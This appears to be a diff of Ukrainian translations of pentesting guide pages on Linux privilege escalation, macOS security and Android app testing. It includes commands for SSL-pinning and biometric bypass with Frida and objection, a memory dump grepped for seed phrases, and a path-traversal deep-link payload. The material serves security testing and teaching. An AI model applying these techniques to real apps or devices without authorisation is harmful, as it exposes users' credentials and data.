### [**Записувані файли**](privilege-escalation/#writable-files)
|
||||
|
||||
* [ ] **Модифікувати бібліотеку python** для виконання довільних команд?
|
||||
* [ ] Чи можете ви **модифікувати журнали**? **Logtotten** експлойт
|
||||
* [ ] Чи можете ви **модифікувати /etc/sysconfig/network-scripts/**? Centos/Redhat експлойт
|
||||
* [ ] Чи можете ви **модифікувати журнали**? **Logtotten** експлуатація
|
||||
* [ ] Чи можете ви **модифікувати /etc/sysconfig/network-scripts/**? Centos/Redhat експлуатація
|
||||
* [ ] Чи можете ви [**записувати в ini, int.d, systemd або rc.d файли**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
|
||||
|
||||
### [**Інші трюки**](privilege-escalation/#other-tricks)
|
||||
|
@ -168,7 +168,7 @@
|
|||
* [ ] Чи можете ви [**зловживати NFS для підвищення привілеїв**](privilege-escalation/#nfs-privilege-escalation)?
|
||||
* [ ] Чи потрібно вам [**втекти з обмеженої оболонки**](privilege-escalation/#escaping-from-restricted-shells)?
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
@ -34,13 +34,13 @@
|
|||
|
||||
Якщо ви не знайомі з macOS, вам слід почати вивчати основи macOS:
|
||||
|
||||
* Спеціальні **файли та дозволи macOS:**
|
||||
* Спеціальні **файли та дозволи** macOS:
|
||||
|
||||
{% content-ref url="macos-files-folders-and-binaries/" %}
|
||||
[macos-files-folders-and-binaries](macos-files-folders-and-binaries/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Загальні **користувачі macOS**
|
||||
* Загальні **користувачі** macOS
|
||||
|
||||
{% content-ref url="macos-users.md" %}
|
||||
[macos-users.md](macos-users.md)
|
||||
|
@ -52,24 +52,24 @@
|
|||
[macos-applefs.md](macos-applefs.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **архітектура** ядра
|
||||
* **Архітектура** ядра
|
||||
|
||||
{% content-ref url="mac-os-architecture/" %}
|
||||
[mac-os-architecture](mac-os-architecture/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Загальні **мережеві сервіси та протоколи macOS**
|
||||
* Загальні **мережеві сервіси та протоколи** macOS
|
||||
|
||||
{% content-ref url="macos-protocols.md" %}
|
||||
[macos-protocols.md](macos-protocols.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
* **Відкритий код** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
* Щоб завантажити `tar.gz`, змініть URL, наприклад, [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) на [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
|
||||
### MacOS MDM
|
||||
|
||||
У компаніях системи **macOS** з великою ймовірністю будуть **керуватися через MDM**. Тому з точки зору атакуючого цікаво знати, **як це працює**:
|
||||
У компаніях системи **macOS** з великою ймовірністю будуть **керуватися через MDM**. Тому з точки зору атакуючого цікаво знати **як це працює**:
|
||||
|
||||
{% content-ref url="../macos-red-teaming/macos-mdm/" %}
|
||||
[macos-mdm](../macos-red-teaming/macos-mdm/)
|
||||
|
@ -89,7 +89,7 @@
|
|||
|
||||
## Поверхня атаки
|
||||
|
||||
### Дозволи файлів
|
||||
### Дозволи на файли
|
||||
|
||||
Якщо **процес, що працює від імені root, записує** файл, який може контролюватися користувачем, користувач може зловживати цим для **ескалації привілеїв**.\
|
||||
Це може статися в наступних ситуаціях:
|
||||
|
@ -99,7 +99,7 @@
|
|||
* Використовуваний файл знаходиться в каталозі, що належить користувачу (користувач може створити файл)
|
||||
* Використовуваний файл знаходиться в каталозі, що належить root, але користувач має доступ на запис через групу (користувач може створити файл)
|
||||
|
||||
Можливість **створити файл**, який буде **використовуватися root**, дозволяє користувачу **використовувати його вміст** або навіть створювати **символічні/жорсткі посилання** на нього, щоб вказати на інше місце.
|
||||
Можливість **створити файл**, який буде **використовуватися root**, дозволяє користувачу **використовувати його вміст** або навіть створювати **символьні/жорсткі посилання** на інше місце.
|
||||
|
||||
Для таких вразливостей не забудьте **перевірити вразливі `.pkg` інсталяційні файли**:
|
||||
|
||||
|
@ -115,9 +115,9 @@
|
|||
[macos-file-extension-apps.md](macos-file-extension-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## ескалація привілеїв macOS TCC / SIP
|
||||
## macOS TCC / SIP Ескалація привілеїв
|
||||
|
||||
У macOS **додатки та бінарники можуть мати дозволи** на доступ до папок або налаштувань, які роблять їх більш привілейованими, ніж інші.
|
||||
У macOS **додатки та бінарні файли можуть мати дозволи** на доступ до папок або налаштувань, які роблять їх більш привілейованими, ніж інші.
|
||||
|
||||
Тому атакуючий, який хоче успішно скомпрометувати машину macOS, повинен **ескалувати свої привілеї TCC** (або навіть **обійти SIP**, залежно від його потреб).
|
||||
|
||||
|
@ -145,7 +145,7 @@
|
|||
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
|
||||
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -41,16 +41,16 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
## ADB (Android Debug Bridge)
|
||||
|
||||
Це основний інструмент, який вам потрібен для підключення до android-пристрою (емульованого або фізичного).\
|
||||
**ADB** дозволяє контролювати пристрої через **USB** або **мережу** з комп'ютера. Цей утиліта дозволяє **копіювати** файли в обох напрямках, **встановлювати** та **видаляти** додатки, **виконувати** команди оболонки, **робити резервні копії** даних, **читати** журнали та інші функції.
|
||||
**ADB** дозволяє контролювати пристрої як через **USB**, так і через **мережу** з комп'ютера. Цей утиліта дозволяє **копіювати** файли в обох напрямках, **встановлювати** та **видаляти** додатки, **виконувати** команди оболонки, **робити резервні копії** даних, **читати** журнали та інші функції.
|
||||
|
||||
Ознайомтеся з наступним списком [**ADB Commands**](adb-commands.md), щоб дізнатися, як використовувати adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Іноді цікаво **модифікувати код додатку**, щоб отримати доступ до **прихованої інформації** (можливо, добре обфусцировані паролі або прапори). Тоді може бути цікаво декомпілювати apk, змінити код і знову скомпілювати його.\
|
||||
[**У цьому посібнику** ви можете **дізнатися, як декомпілювати APK, модифікувати Smali код і знову скомпілювати APK** з новою функціональністю](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, які будуть представлені. Тому **завжди тримайте в умі цю можливість**.
|
||||
Іноді цікаво **модифікувати код програми**, щоб отримати доступ до **прихованої інформації** (можливо, добре обфусцировані паролі або прапори). Тоді може бути цікаво декомпілювати apk, змінити код і знову скомпілювати його.\
|
||||
[**У цьому посібнику** ви можете **дізнатися, як декомпілювати APK, модифікувати код Smali та знову скомпілювати APK** з новою функціональністю](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, які будуть представлені. Тому **завжди тримайте в умі цю можливість**.
|
||||
|
||||
## Other interesting tricks
|
||||
## Інші цікаві трюки
|
||||
|
||||
* [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
|
||||
* **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
|
@ -64,7 +64,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
|||
|
||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
* Об'єднайте всі спліти та базові apk за допомогою [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
* Об'єднайте всі спліти та базові APK за допомогою [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
```bash
|
||||
mkdir splits
|
||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
|
||||
|
@ -75,7 +75,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
|||
```
|
||||
## Статичний аналіз
|
||||
|
||||
Перш за все, для аналізу APK вам слід **ознайомитися з Java-кодом** за допомогою декомпілера.\
|
||||
Перш за все, для аналізу APK вам слід **ознайомитися з Java кодом** за допомогою декомпілера.\
|
||||
Будь ласка, [**читайте тут, щоб знайти інформацію про різні доступні декомпілери**](apk-decompilers.md).
|
||||
|
||||
### Пошук цікавої інформації
|
||||
|
@ -98,9 +98,9 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
|||
* **Експортовані активності та сервіси**: Виявлення експортованих активностей та сервісів у маніфесті може підкреслити компоненти, які можуть бути зловживані. Подальший аналіз під час динамічного тестування може виявити, як експлуатувати ці компоненти.
|
||||
* **Постачальники контенту та FileProviders**: Відкриті постачальники контенту можуть дозволити несанкціонований доступ або модифікацію даних. Конфігурацію FileProviders також слід ретельно перевірити.
|
||||
* **Отримувачі широкомовлення та URL-схеми**: Ці компоненти можуть бути використані для експлуатації, з особливою увагою до того, як управляються URL-схеми для вразливостей введення.
|
||||
* **Версії SDK**: Атрибути `minSdkVersion`, `targetSDKVersion` та `maxSdkVersion` вказують на підтримувані версії Android, підкреслюючи важливість непідтримки застарілих, вразливих версій Android з міркувань безпеки.
|
||||
* **Версії SDK**: Атрибути `minSdkVersion`, `targetSDKVersion` та `maxSdkVersion` вказують на підтримувані версії Android, підкреслюючи важливість того, щоб не підтримувати застарілі, вразливі версії Android з міркувань безпеки.
|
||||
|
||||
З файлу **strings.xml** можна виявити чутливу інформацію, таку як API-ключі, власні схеми та інші нотатки розробників, що підкреслює необхідність ретельного перегляду цих ресурсів.
|
||||
З файлу **strings.xml** можна виявити чутливу інформацію, таку як API ключі, власні схеми та інші нотатки розробників, що підкреслює необхідність ретельного перегляду цих ресурсів.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
|
@ -115,7 +115,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
|||
|
||||
### Викрадення завдань
|
||||
|
||||
**Активність** з **`launchMode`**, встановленим на **`singleTask` без жодного `taskAffinity`** визначеного, вразлива до викрадення завдань. Це означає, що **програму** можна встановити, і якщо вона запуститься перед реальною програмою, вона може **викрасти завдання реальної програми** (так що користувач буде взаємодіяти з **зловмисною програмою, вважаючи, що використовує реальну**).
|
||||
**Активність** з **`launchMode`**, встановленим на **`singleTask` без жодного `taskAffinity`**, вразлива до викрадення завдань. Це означає, що **програму** можна встановити, і якщо її запустити перед реальною програмою, вона може **викрасти завдання реальної програми** (так що користувач буде взаємодіяти з **зловмисною програмою, вважаючи, що використовує реальну**).
|
||||
|
||||
Більше інформації в:
|
||||
|
||||
|
@ -127,19 +127,19 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
|||
|
||||
**Внутрішнє зберігання**
|
||||
|
||||
У Android файли, **збережені** у **внутрішньому** зберіганні, **призначені** для **доступу** виключно програмою, яка їх **створила**. Ця міра безпеки **забезпечується** операційною системою Android і зазвичай є адекватною для потреб безпеки більшості програм. Однак розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб **дозволити** файлам **ділитися** між різними програмами. Проте ці режими **не обмежують доступ** до цих файлів з інших програм, включаючи потенційно зловмисні.
|
||||
В Android файли, **збережені** у **внутрішньому** зберіганні, **призначені** для **доступу** виключно програмою, яка їх **створила**. Ця міра безпеки **забезпечується** операційною системою Android і зазвичай є адекватною для потреб безпеки більшості програм. Однак розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб **дозволити** файлам **ділитися** між різними програмами. Проте ці режими **не обмежують доступ** до цих файлів з інших програм, включаючи потенційно зловмисні.
|
||||
|
||||
1. **Статичний аналіз:**
|
||||
* **Переконайтеся**, що використання `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE` **ретельно перевіряється**. Ці режими **можуть потенційно відкрити** файли для **небажаного або несанкціонованого доступу**.
|
||||
2. **Динамічний аналіз:**
|
||||
* **Перевірте** **дозволи**, встановлені на файлах, створених програмою. Зокрема, **перевірте**, чи є файли **встановленими на читання або запис для всіх**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження чи наміру, **читати або змінювати** ці файли.
|
||||
* **Перевірте** **дозволи**, встановлені на файлах, створених програмою. Зокрема, **перевірте**, чи є файли **встановленими на читання або запис для всіх**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження або наміру, **читати або змінювати** ці файли.
|
||||
|
||||
**Зовнішнє зберігання**
|
||||
|
||||
При роботі з файлами на **зовнішньому зберіганні**, наприклад, на SD-картах, слід вжити певних запобіжних заходів:
|
||||
|
||||
1. **Доступність**:
|
||||
* Файли на зовнішньому зберіганні є **глобально доступними для читання та запису**. Це означає, що будь-яка програма або користувач можуть отримати доступ до цих файлів.
|
||||
* Файли на зовнішньому зберіганні є **глобально читабельними та записуваними**. Це означає, що будь-яка програма або користувач можуть отримати доступ до цих файлів.
|
||||
2. **Проблеми безпеки**:
|
||||
* З огляду на легкість доступу, рекомендується **не зберігати чутливу інформацію** на зовнішньому зберіганні.
|
||||
* Зовнішнє зберігання може бути видалено або доступно будь-якою програмою, що робить його менш безпечним.
|
||||
|
@ -151,7 +151,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
|||
Зовнішнє зберігання може бути **доступним** у `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
{% hint style="info" %}
|
||||
Починаючи з Android 4.4 (**API 17**), SD-карта має структуру каталогів, яка **обмежує доступ програми до каталогу, який спеціально призначений для цієї програми**. Це запобігає зловмисним програмам отримувати доступ для читання або запису до файлів іншої програми.
|
||||
Починаючи з Android 4.4 (**API 17**), SD-карта має структуру каталогів, яка **обмежує доступ програми до каталогу, який спеціально призначений для цієї програми**. Це запобігає зловмисним програмам отримувати доступ на читання або запис до файлів іншої програми.
|
||||
{% endhint %}
|
||||
|
||||
**Чутливі дані, збережені у відкритому тексті**
|
||||
|
@ -183,7 +183,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
|
|||
### Other checks
|
||||
|
||||
* Рекомендується **обфускувати APK**, щоб ускладнити реверс-інженерні роботи для зловмисників.
|
||||
* Якщо додаток є чутливим (наприклад, банківські додатки), він повинен виконувати **власні перевірки, щоб дізнатися, чи мобільний пристрій є рутованим**, і діяти відповідно.
|
||||
* Якщо додаток є чутливим (наприклад, банківські додатки), він повинен виконувати **власні перевірки, щоб дізнатися, чи є мобільний пристрій з root-доступом**, і діяти відповідно.
|
||||
* Якщо додаток є чутливим (наприклад, банківські додатки), він повинен перевіряти, чи використовується **емулятор**.
|
||||
* Якщо додаток є чутливим (наприклад, банківські додатки), він повинен **перевіряти свою цілісність перед виконанням**, щоб перевірити, чи був він змінений.
|
||||
* Використовуйте [**APKiD**](https://github.com/rednaga/APKiD), щоб перевірити, який компілятор/упаковщик/обфускатор був використаний для створення APK
|
||||
|
@ -239,7 +239,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -334,10 +334,10 @@ You need to activate the **debugging** options and it will be cool if you can **
|
|||
|
||||
### SQLite DBs
|
||||
|
||||
Більшість додатків використовуватиме **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, що створюються, назви **таблиць** і **стовпців** та всі **дані**, що зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
|
||||
Більшість додатків використовуватимуть **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, що створюються, назви **таблиць** і **стовпців** та всі **дані**, що зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
|
||||
Бази даних повинні розташовуватися в `/data/data/the.package.name/databases`, наприклад, `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Якщо база даних зберігає конфіденційну інформацію і є **зашифрованою**, але ви можете **знайти** **пароль** всередині додатка, це все ще є **вразливістю**.
|
||||
Якщо база даних зберігає конфіденційну інформацію і **зашифрована**, але ви можете **знайти** **пароль** всередині додатка, це все ще буде **вразливістю**.
|
||||
|
||||
Перерахуйте таблиці, використовуючи `.tables`, і перераховуйте стовпці таблиць, виконуючи `.schema <table_name>`
|
||||
|
||||
|
@ -353,7 +353,7 @@ Drozer є корисним інструментом для **експлуата
|
|||
|
||||
**Authorisation bypass**
|
||||
|
||||
Коли активність експортується, ви можете викликати її екран з зовнішнього додатка. Тому, якщо активність з **чутливою інформацією** є **експортованою**, ви можете **обійти** механізми **автентифікації**, щоб отримати до неї доступ.
|
||||
Коли активність експортується, ви можете викликати її екран з зовнішнього додатка. Тому, якщо активність з **чутливою інформацією** є **експортованою**, ви можете **обійти** механізми **авторизації**, щоб отримати до неї доступ.
|
||||
|
||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities)
|
||||
|
||||
|
@ -425,7 +425,7 @@ _Зверніть увагу, що ви можете **пропустити ім
|
|||
|
||||
**Код, що виконується**
|
||||
|
||||
Щоб знайти **код, який буде виконано в додатку**, перейдіть до активності, викликаної глибоким посиланням, і знайдіть функцію **`onNewIntent`**.
|
||||
Щоб знайти **код, який буде виконуватися в додатку**, перейдіть до активності, викликаної глибоким посиланням, і знайдіть функцію **`onNewIntent`**.
|
||||
|
||||
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
|
||||
|
||||
|
@ -435,14 +435,14 @@ _Зверніть увагу, що ви можете **пропустити ім
|
|||
|
||||
**Параметри в шляху**
|
||||
|
||||
Ви **також повинні перевірити, чи використовує будь-яке глибоке посилання параметр всередині шляху** URL, як-от: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете примусити перехід по шляху, отримуючи доступ до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Ви **також повинні перевірити, чи використовує будь-яке глибоке посилання параметр всередині шляху** URL, наприклад: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете примусити перехід по шляху, отримуючи доступ до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині програми, ви можете викликати **Open Redirect** (якщо частина шляху використовується як доменне ім'я), **захоплення облікового запису** (якщо ви можете змінити деталі користувачів без токена CSRF, а вразлива кінцева точка використовувала правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Більше прикладів**
|
||||
|
||||
Цікава [відповідь на баг-баунті](https://hackerone.com/reports/855618) про посилання (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Перевірка та верифікація транспортного рівня
|
||||
### Помилки перевірки та верифікації транспортного рівня
|
||||
|
||||
* **Сертифікати не завжди належним чином перевіряються** Android-додатками. Це звичайна практика для цих додатків ігнорувати попередження та приймати самопідписані сертифікати або, в деяких випадках, повертатися до використання HTTP-з'єднань.
|
||||
* **Переговори під час SSL/TLS рукостискання іноді є слабкими**, використовуючи небезпечні шифри. Ця вразливість робить з'єднання вразливим до атак типу "людина посередині" (MITM), що дозволяє зловмисникам розшифровувати дані.
|
||||
|
@ -454,7 +454,7 @@ _Зверніть увагу, що ви можете **пропустити ім
|
|||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning - це захід безпеки, коли додаток перевіряє сертифікат сервера проти відомої копії, збереженої в самому додатку. Цей метод є важливим для запобігання атакам MITM. Рекомендується впроваджувати SSL Pinning для додатків, які обробляють чутливу інформацію.
|
||||
SSL Pinning - це захід безпеки, коли додаток перевіряє сертифікат сервера проти відомої копії, збереженої в самому додатку. Цей метод є важливим для запобігання атакам MITM. Рекомендується реалізувати SSL Pinning для додатків, що обробляють чутливу інформацію.
|
||||
|
||||
#### Інспекція трафіку
|
||||
|
||||
|
@ -464,12 +464,12 @@ SSL Pinning - це захід безпеки, коли додаток перев
|
|||
|
||||
#### Обхід SSL Pinning
|
||||
|
||||
Коли впроваджено SSL Pinning, обхід його стає необхідним для перевірки HTTPS-трафіку. Для цього доступні різні методи:
|
||||
Коли реалізовано SSL Pinning, обхід його стає необхідним для перевірки HTTPS-трафіку. Для цього доступні різні методи:
|
||||
|
||||
* Автоматично **модифікуйте** **apk**, щоб **обійти** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Найкраща перевага цього варіанту в тому, що вам не знадобиться root для обходу SSL Pinning, але вам потрібно буде видалити додаток і перевстановити новий, і це не завжди спрацьовує.
|
||||
* Автоматично **модифікуйте** **apk**, щоб **обійти** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Найкраща перевага цього варіанту полягає в тому, що вам не знадобиться root для обходу SSL Pinning, але вам потрібно буде видалити додаток і перевстановити новий, і це не завжди спрацьовує.
|
||||
* Ви можете використовувати **Frida** (обговорюється нижче), щоб обійти цю захист. Ось посібник з використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Ви також можете спробувати **автоматично обійти SSL Pinning**, використовуючи [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Ви також можете спробувати **автоматично обійти SSL Pinning**, використовуючи **MobSF динамічний аналіз** (пояснено нижче)
|
||||
* Ви також можете спробувати **автоматично обійти SSL Pinning**, використовуючи **MobSF динамічний аналіз** (пояснюється нижче)
|
||||
* Якщо ви все ще вважаєте, що є якийсь трафік, який ви не захоплюєте, ви можете спробувати **переслати трафік до burp, використовуючи iptables**. Прочитайте цей блог: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Пошук загальних веб-вразливостей
|
||||
|
@ -480,7 +480,7 @@ SSL Pinning - це захід безпеки, коли додаток перев
|
|||
|
||||
[Frida](https://www.frida.re) - це набір інструментів для динамічної інструментації для розробників, реверс-інженерів та дослідників безпеки.\
|
||||
**Ви можете отримати доступ до працюючого додатку та підключати методи в реальному часі, щоб змінити поведінку, змінити значення, витягти значення, виконати різний код...**\
|
||||
Якщо ви хочете проводити тестування безпеки Android-додатків, вам потрібно знати, як використовувати Frida.
|
||||
Якщо ви хочете провести тестування безпеки Android-додатків, вам потрібно знати, як використовувати Frida.
|
||||
|
||||
* Дізнайтеся, як використовувати Frida: [**Посібник з Frida**](frida-tutorial/)
|
||||
* Деякі "GUI" для дій з Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
|
@ -492,7 +492,7 @@ SSL Pinning - це захід безпеки, коли додаток перев
|
|||
|
||||
Перевірте, чи зберігає додаток чутливу інформацію в пам'яті, яку не повинен зберігати, наприклад, паролі або мнемоніки.
|
||||
|
||||
Використовуючи [**Fridump3**](https://github.com/rootbsd/fridump3), ви можете скинути пам'ять додатку з:
|
||||
Використовуючи [**Fridump3**](https://github.com/rootbsd/fridump3), ви можете скинути пам'ять додатку за допомогою:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
|
@ -511,7 +511,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||
|
||||
### **Чутливі дані в Keystore**
|
||||
|
||||
У Android Keystore є найкращим місцем для зберігання чутливих даних, однак, з достатніми привілеями все ще **можливо отримати доступ** до нього. Оскільки додатки, як правило, зберігають тут **чутливі дані у відкритому тексті**, пентести повинні перевіряти це як користувач root або хтось з фізичним доступом до пристрою може бути здатний вкрасти ці дані.
|
||||
У Android Keystore є найкращим місцем для зберігання чутливих даних, однак, з достатніми привілеями все ще **можливо отримати до них доступ**. Оскільки додатки, як правило, зберігають тут **чутливі дані у відкритому тексті**, пентести повинні перевіряти це як користувач root або хтось з фізичним доступом до пристрою може бути здатний вкрасти ці дані.
|
||||
|
||||
Навіть якщо додаток зберігав дані в keystore, дані повинні бути зашифровані.
|
||||
|
||||
|
@ -531,13 +531,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||
|
||||
### **Фонові зображення**
|
||||
|
||||
Коли ви поміщаєте додаток у фоновий режим, Android зберігає **знімок додатка**, щоб, коли його відновлюють на передній план, він починає завантажувати зображення перед додатком, тому виглядає так, ніби додаток завантажився швидше.
|
||||
Коли ви ставите додаток у фоновий режим, Android зберігає **знімок додатку**, щоб, коли його відновлюють на передній план, він починає завантажувати зображення перед додатком, тому здається, що додаток завантажився швидше.
|
||||
|
||||
Однак, якщо цей знімок містить **чутливу інформацію**, хтось, хто має доступ до знімка, може **викрасти цю інформацію** (зверніть увагу, що вам потрібен root для доступу до неї).
|
||||
Однак, якщо цей знімок містить **чутливу інформацію**, хтось, хто має доступ до знімка, може **викрасти цю інформацію** (зверніть увагу, що вам потрібен root для доступу до нього).
|
||||
|
||||
Знімки зазвичай зберігаються за адресою: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android надає спосіб **запобігти захопленню знімків екрану, встановивши параметр макета FLAG\_SECURE**. Використовуючи цей прапор, вміст вікна вважається безпечним, що запобігає його появі на знімках екрану або перегляду на небезпечних дисплеях.
|
||||
Android надає спосіб **запобігти захопленню скріншотів, встановивши параметр макета FLAG\_SECURE**. Використовуючи цей прапор, вміст вікна обробляється як безпечний, що запобігає його появі на скріншотах або перегляду на небезпечних дисплеях.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
|
@ -549,7 +549,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
|||
|
||||
Розробники часто створюють проксі-компоненти, такі як активності, сервіси та приймачі трансляцій, які обробляють ці Intents і передають їх методам, таким як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
|
||||
|
||||
Небезпека полягає в тому, що зловмисники можуть спонукати до активації неекспортованих компонентів додатка або отримати доступ до чутливих постачальників контенту, неправильно перенаправляючи ці Intents. Яскравим прикладом є компонент `WebView`, який перетворює URL-адреси на об'єкти `Intent` через `Intent.parseUri(...)` і потім виконує їх, що може призвести до зловмисних ін'єкцій Intent.
|
||||
Небезпека полягає в тому, що зловмисники можуть спонукати до активації неекспортованих компонентів додатка або отримати доступ до чутливих постачальників контенту, неправильно перенаправляючи ці Intents. Яскравим прикладом є компонент `WebView`, який перетворює URL-адреси на об'єкти `Intent` через `Intent.parseUri(...)` і потім виконує їх, що може призвести до шкідливих ін'єкцій Intent.
|
||||
|
||||
### Essential Takeaways
|
||||
|
||||
|
@ -563,14 +563,14 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
|||
